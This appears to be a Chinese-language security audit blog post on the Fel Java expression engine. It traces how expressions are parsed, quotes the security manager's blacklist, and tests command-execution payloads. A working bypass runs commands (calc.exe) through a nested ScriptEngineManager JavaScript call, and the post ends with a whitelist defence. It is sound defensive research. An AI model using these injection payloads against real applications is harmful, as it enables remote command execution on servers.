Fel代码审计

温馨提示:点击页面下方以展开或折叠目录~

Fel

Fel介绍

  • Fel:Fast Expression Language,是一种开源表达式引擎,基于java1.5开发,适用java1.5及以上版本。

  • 特点:如名所示:fast—快,每秒可执行千万次表达式,速度是Jexl-2.0的20倍以上。

  • 下载地址https://code.google.com/archive/p/fast-el/downloads

  • Maven导入

    1
    2
    3
    4
    5
    <dependency>
    <groupId>org.eweb4j</groupId>
    <artifactId>fel</artifactId>
    <version>0.8</version>
    </dependency>

使用方法

基本算术表达式计算

1
2
FelEngine felEngine = new FelEngineImpl();
Object result1 = felEngine.eval("(5*6+10)/4");

使用变量/调用java方法

1
2
3
4
5
6
FelEngine felEngine = new FelEngineImpl();
FelContext felContext = felEngine.getContext();
// 将System.out赋值给"test"
felContext.set("test", System.out);
// 起到执行System.out.println()的作用
felEngine.eval("test.println('Hello world'.substring(6))");

自定义上下文/常见用法

  • 自定义实体类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// Student类
public class Student {

private String name;
private String id;
private int age;
private String sex;

public Student() {
}

public Student(String name, String id, int age, String sex) {
this.name = name;
this.id = id;
this.age = age;
this.sex = sex;
}

@Override
public String toString() {
return "Student{" +
"name='" + name + '\'' +
", id='" + id + '\'' +
", age=" + age +
", sex='" + sex + '\'' +
'}';
}
...
}
  • Fel调用
1
2
3
4
5
6
7
8
9
10
// 创建表达式引擎对象
FelEngine felEngine = new FelEngineImpl();
// 创建Context设值对象
FelContext felContext = felEngine.getContext();
// 实例化Student对象
Student student = new Student("vvmdx","13579",23,"male");
// Context对象设值,将student.toString()赋给stu变量
felContext.set("stu", student.toString());
// 执行表达式
Object result = felEngine.eval("stu");

调用静态方法

  • 通过$(‘class’).method的语法可以调用第三方类包、工具类、自定义类的方法,也可以创建对象,调用对象的方法
1
2
3
4
5
6
7
8
9
// 调用工具类
// 执行Math.min(1,2)
FelEngine.instance.eval("$('Math').min(1,2)");
// 调用第三方类
// 执行Runtime.getRuntime().exec("C:\\Windows\\System32\\calc.exe")
FelEngine.instance.eval("$('Runtime').getRuntime().exec(\"C:\\\\Windows\\\\System32\\\\calc.exe\")");
// 调用自定义类
// 执行new Student().toString()
FelEngine.instance.eval("$('test.Student.new').toString()");

安全管理器

  • 从0.8版本开始,为了防止“${System}.exit(1)$”这样的表达式导致系统崩溃,Fel加入了安全管理器,对方法访问进行控制
1
2
3
// 加入安全管理器后执行如下代码会抛出异常
FelEngine.instance.eval("$('Runtime').getRuntime().exec(\"C:\\\\Windows\\\\System32\\\\calc.exe\")");
// 安全管理器[RegexSecurityMgr]禁止调用方法[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

表达式解析

  • 这里以FelEngine.instance.eval("$('Runtime').getRuntime().exec(\"C:\\\\Windows\\\\System32\\\\calc.exe\")");为例,展示表达式解析的流程,以及安全管理器的过滤

语法树结构

image

  • Fel表达式语法树有3种节点
    • 常量节点ConstNode(包括类名、包名、方法内的固定参数等)
    • 函数节点FunNode(包括 +、-、*、/、$、.等操作符或者getRuntime()、exec()等方法)
    • 变量节点VarAstNode(若执行表达式((a+b)*c/d),则其中a、b、c、d均为变量节点
    • 以上节点都继承自AbstFelNode,所有组成表达式的元素都会被解析成节点

image

执行表达式

  1. 解析表达式:默认Antlr解析表达式(antlr-min-3.4.jar),生成AbstNode组成的语法树
  2. 节点解释:每种节点(常量、变量、函数)都有对应的解释器负责解释该节点
  3. 语法树执行顺序:按先序遍历执行(根$\rightarrow$左$\rightarrow$右)

image

获取class/创建对象

  • Fel中使用‘$’来获取class或创建对象

    • 获取class$(‘Runtime’)结果为java.lang.Runtime

    • 函数调用栈如下

      1
      2
      3
      AbstFelNode#eval
      ->FunNode#interpret
      ->Dollar#call -> #isNew -> #getClass -> Class.forName()
    • 创建对象$(‘test.Student.new’)结果为new Student()

    • 函数调用栈如下

      1
      2
      3
      AbstFelNode#eval
      ->FunNode#interpret
      ->Dollar#call -> #isNew -> #newObject -> Class.newInstance()
  • Dollar.java部分关键代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
@Override
public Object call(FelNode node, FelContext context) {
String txt = getChildText(node);

boolean isNew = isNew(txt);
Class<?> cls = getClass(t xt, isNew);
if (isNew) {
return newObject(cls);

} else {
return cls;
}
}
// 通过forName反射获取class或创建对象
// suffix = .new
private Class<?> getClass(String txt, boolean isNew) {
String className = txt;
if (isNew) {
className = className.substring(0, txt.length() - suffix.length());
}
if (className.indexOf(".") == -1) {
className = "java.lang." + className;
}
try {
Class<?> clz = Class.forName(className);
return clz;
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
return null;
}
// new一个实例化对象
private Object newObject(Class<?> cls) {
Object o = null;
if (cls != null) {
try {
o = cls.newInstance();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
return o;
}
// 判断是否为new创建对象
private boolean isNew(String txt) {
boolean isNew = txt.endsWith(suffix);
return isNew;
}

获取方法

  • Fel中通过点运算符获取方法
  • 函数调用栈如下
1
2
Dot#call -> #findMethod
->ReflectUtil#findMethod -> Class.getMethods()
  • 取方法代码如下
    1. 首先使用Class.getMethods()方法获取Class对象的方法集合
    2. 然后for循环逐个比较找出方法
    3. 返回finalMethod=public static java.lang.Runtime.getRuntime()
    4. 若方法不为空,则通过Method.invoke()调用方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static Method findMethod(Class<?> cls, String attr, Class<?>[] paramTypes) {
if (attr != null && !"".equals(attr)) {
String firstUpper = String.valueOf(attr.charAt(0)).toUpperCase() + attr.substring(1);
Method[] methods = cls.getMethods();
Method finalMethod = null;
String[] methodNames = new String[]{attr, "get" + firstUpper, "is" + firstUpper};

for (String methodName : methodNames) {
finalMethod = match(methodName, paramTypes, methods);
if(finalMethod!=null){
break;
}
}

return finalMethod;
} else {
return null;
}
}

安全管理器

  • 安全管理器中通过黑名单uncallableMap+白名单callableMap的方法来过滤
    • 若方法在黑名单内,则返回false,无法访问
    • 若白名单为空,则返回true
    • 若方法在白名单内,返回true
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@Override
public boolean isCallable(Method m) {
String method = getSignature(m);
if (isMatch(uncallableMap, method)) {
return false;
}
if (callableMap.isEmpty()) {
return true;
}
return isMatch(callableMap, method);
}
// 判断input是否在Map m中
private boolean isMatch(Map<String, Pattern> m, String input) {
for (Map.Entry<String, Pattern> entry : m.entrySet()) {
if (entry.getValue().matcher(input).find()) {
return true;
}
}
return false;
}
  • 跟踪数据流,可发现黑名单如下
    • java.lang.Runtime.*
    • com.greenpineyu.fel.compile.*
    • java.lang.Process.*
    • java.io.File.*
    • java.net.*
    • com.greenpineyu.fel.security.*
    • java.lang.System.*

image

  • 黑名单配置位置位于com\greenpineyu\fel\common\FelBuilder.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class FelBuilder {

/**
* 构建安全管理器
* @return
*/
public static SecurityMgr newSecurityMgr() {
Set<String> disables = new HashSet<String>();
disables.add(System.class.getCanonicalName() + ".*");
disables.add(Runtime.class.getCanonicalName() + ".*");
disables.add(Process.class.getCanonicalName() + ".*");
disables.add(File.class.getCanonicalName() + ".*");
disables.add("java.net.*");
disables.add("com.greenpineyu.fel.compile.*");
disables.add("com.greenpineyu.fel.security.*");
return new RegexSecurityMgr(null, disables);
}
...
}

执行系统命令

Fel执行系统命令有以下几种思路,但基于引擎本身执行的方法都不成功,不知道有没有其他方法

  • 首先是Runtime.getRuntime,由于安全管理器的存在,这个方法在黑名单内,无法直接通过表达式解析使用,

  • 由于Fel版本较老(2013年后就没有维护过),安全管理器的黑名单不够完善,没有禁用ProcessBuilder,可以尝试使用ProcessBuilder执行系统命令

  • 创建恶意类使用反射
  • 套娃,使用别的解析引擎来执行表达式

ProcessBuilder

  • payloadfelEngine.eval("$('ProcessBuilder').command(\"C:/Windows/System32/calc.exe\").start()")

  • 先说结论:暂时没有发现怎样通过表达式解析执行ProcessBuilder,原因主要有两种情况:

获取class

  • Fel通过$(‘ProcessBuilder’)来获取ProcessBuilder类,而获取类使用的是Class.forName()没有实例化为对象

  • 获取类的方法如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    private Class<?> getClass(String txt, boolean isNew) {
    String className = txt;
    if (isNew) {
    // suffix=".new" isNew()用于判断类需不需要实例化
    className = className.substring(0, txt.length() - suffix.length());
    }
    if (className.indexOf(".") == -1) {
    // 若$('Class')中没有点运算符的话,则默认为java.lang.*的工具类
    className = "java.lang." + className;
    }
    try {
    Class<?> clz = Class.forName(className); // 获取类
    return clz;
    } catch (ClassNotFoundException e) {
    e.printStackTrace();
    }
    return null;
    }
  • 继续往下看,获取到ProcessBuilder类后,会通过Class.getMethods()方法获取类方法,这个没什么问题,不展开

  • 有类有方法后就会执行invoke()通过反射去执行类的方法,但是现在问题来了

    我们知道method.invoke(Object)的作用是执行类或对象的方法

    • 当method是一个静态方法时,invoke()需要一个类的参数
    • 当method是一个实例方法时,invoke()需要一个类对象的参数
  • 很明显,ProcessBuilder.command()是一个实例方法,而我们的传参却是类class java.lang.ProcessBuilder,这就会抛出object is not an instance of declaring class的异常

    1
    2
    3
    4
    5
    6
    7
    8
    public static Object invoke(Object obj, Method method, Object[] args) {
    try {
    return method.invoke(obj, args);
    } catch (IllegalArgumentException var4) {
    ...
    }
    return null;
    }

创建对象

  • 前面获取类的路走不通,自然想到我们能不能自己通过表达式创建一个实例化对象
  • payload:felEngine.eval("$('ProcessBuilder.new').command(\"C:/Windows/System32/calc.exe\").start()")
  • $('ProcessBuilder.new')会在上面说的执行getClass()方法后执行以下方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 传入的参数即为class java.lang.ProcessBuilder
private Object newObject(Class<?> cls) {
Object o = null;
if (cls != null) {
try {
// 使用newInstance()实例化
o = cls.newInstance();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
return o;
}
  • 这段代码咋一看没什么问题,使用newInstance()实例化的效果和new也一样,但是这两者有个很关键的不同

    • newInstance()只能调用无参构造
  • 但是ProcessBuilder没有无参构造!这就导致了执行时会抛出java.lang.InstantiationException: java.lang.ProcessBuilder的异常,罪魁祸首正是因为这个实例化用的是newInstance()

拓展

上面说到ProcessBuilder没有无参构造却依然可以使用ProcessBuilder processBuilder = new ProcessBuilder()实例化,主要是因为ProcessBuilder这个类有一个构造方法如下

1
2
3
4
5
public ProcessBuilder(String... command) {
this.command = new ArrayList<>(command.length);
for (String arg : command)
this.command.add(arg);
}

它使用了String... command这种不定参数的形式,当我们使用ProcessBuilder processBuilder = new ProcessBuilder()时,其实就相当于调用了这个构造方法,只是传入的参数为空,并不是无参构造

Runtime

  • Fel有两种执行方式,一种是解释执行,即通过解析表达式来执行语句;一种是编译执行,用于海量数据的快速运算,无法执行获取类、方法等表达式

  • 在解释执行中,表达式解析为java执行语句后,在invoke()执行方法前,会经过安全管理器检查,因此暂时没发现什么可以绕过的方法

  • 安全检查的函数调用栈如下

    1
    2
    3
    Dot.java#call -- 点运算符取方法
    ->#findMethod() ->Method.getMethods()取方法
    ->#getCallableMethod() -- 调用安全管理器,若黑名单则抛出异常

创建恶意类

  • 目前看来Fel只提供创建自定义类对象和调用工具类的api,并没有提供创建类的api

套娃

  • 目前唯一一个能成功执行系统命令的方法,本质上并不是在Fel里解析执行的,而是使用了javax.script.ScriptEngineManager这个包
  • 这个包用于js解析,它可以将js文本格式的代码封装后解析执行对应代码,由于这并没有经过Fel的解析,因此不会触发安全管理器的过滤,可以执行系统命令
1
2
3
4
// 使用ProcessBuilder执行系统命令
FelEngine.instance.eval("$('javax.script.ScriptEngineManager.new').getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command('calc.exe'); x.start()\")");
// 由于不经过Fel解析,因此Runtime也可以使用
FelEngine.instance.eval("$('javax.script.ScriptEngineManager.new').getEngineByName('JavaScript').eval(\"var x=java.lang.Runtime.getRuntime(); x.exec('calc.exe')\")");

防御

  • 以下为安全管理器构建源码,可以看到默认只设置了黑名单,白名单默认为空,这里可以手动添加白名单作为过滤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// common/FelBuilder
public static SecurityMgr newSecurityMgr() {
Set<String> disables = new HashSet<String>();
disables.add(System.class.getCanonicalName() + ".*");
disables.add(Runtime.class.getCanonicalName() + ".*");
disables.add(Process.class.getCanonicalName() + ".*");
disables.add(File.class.getCanonicalName() + ".*");
disables.add("java.net.*");
disables.add("com.greenpineyu.fel.compile.*");
disables.add("com.greenpineyu.fel.security.*");
return new RegexSecurityMgr(null, disables); // 白名单默认为空
}
// security/RegexSecurityMgr
public RegexSecurityMgr(Set<String> callables, Set<String> uncallables) {
convert(callables, this.callableMap);
convert(uncallables, this.uncallableMap);
}
  • 白名单添加方法
1
2
3
4
5
6
7
8
9
10
// common/FelBuilder
public static SecurityMgr newSecurityMgr() {
Set<String> callables = new HashSet<String>();
Set<String> disables = new HashSet<String>();
callables.add(Math.class.getCanonicalName() + ".*");
...
disables.add(System.class.getCanonicalName() + ".*");
...
return new RegexSecurityMgr(callables, disables);
}

后记/总结

这个引擎不知道现在应用得多不多….毕竟从2013年后就没有维护了,由于该引擎加载类的特性(比如newInstance()在java9后就弃用了,改为使用构造器ConstructorgetConstructor().newInstance()的方法进行反射,支持有参构造),如今常见的一些依赖反射和类加载形成的表达式注入其实都做不了,可能是因为代码比较老旧的原因吧,反而使得他更“安全”;同时由于不支持创建自定义类(没有loadClass()ClassLoader()等)的原因,也封死了加载恶意类来注入这条路;引擎本身只支持加载已有的自定义类和java工具类,对于需要实例化对象却没有无参构造的类(比如ProcessBuilder),引擎并没有给出解决方案(没想到因为他的落后而显得安全(雾));最后就是安全管理器,黑名单应该是搞不定的,,过滤规则是:“当白名单不为空时,优先根据白名单判断,不在白名单则抛出异常,当白名单为空时,根据黑名单判断,在黑名单内则抛出异常”,因此应该还是要设白名单的吧。